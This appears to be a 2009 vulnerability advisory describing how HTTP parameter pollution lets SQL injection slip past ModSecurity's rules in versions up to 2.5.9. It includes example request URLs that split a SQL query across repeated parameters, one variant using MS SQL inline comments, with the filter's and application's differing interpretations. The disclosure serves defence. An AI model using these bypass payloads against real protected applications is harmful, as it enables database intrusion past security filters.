ModSecurity SQL Injection Rule Security Bypass Vulnerability

Bugtraq ID:	35323
Class:	Unknown
CVE:
Remote:	Yes
Local:	No
Published:	Jun 11 2009 12:00AM
Updated:	Jun 15 2009 08:19PM
Credit:	Lavakumar Kuppan
Vulnerable:	Breach Security ModSecurity 2.5.9 Breach Security ModSecurity 2.5.8 Breach Security ModSecurity 2.5.6 Breach Security ModSecurity 2.5.5
Not Vulnerable:

ModSecurity SQL Injection Rule Security Bypass Vulnerability

ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently validate user-supplied input.

An attacker can exploit this issue to bypass certain security restrictions and perform various web-application attacks.

ModSecurity 2.5.9 and prior versions are vulnerable.

ModSecurity SQL Injection Rule Security Bypass Vulnerability

The following examples are available to demonstrate this issue:

http://www.example.com/search.aspx?value=select 1&value=2,3 from table

ModSecurity Interpretation:
value = select 1
value = 2,3 from table
Web Application Interpretation:
value select 1,2,3 from table

The attack can be made more flexible by using the inline comment feature in MS SQL servers:

http://www.example.com/search.aspx?value=select/*&value=*/1,2,3/*&value=*/from/*&value=*/table

ModSecurity Interpretation:
value=select/*
value=*/1,2,3/*
value=*/from/*
value=*/table
Web Application Interpretation:
value = select/*,*/1,2,3/*,*/from/*,*/table

ModSecurity SQL Injection Rule Security Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

ModSecurity SQL Injection Rule Security Bypass Vulnerability

References:

• ModSecurity Homepage (Breach Security)
  
• ModSecurity (Core Rules) HTTP Parameter Pollution Filter Bypass Vulnerability (lavakumar kuppan )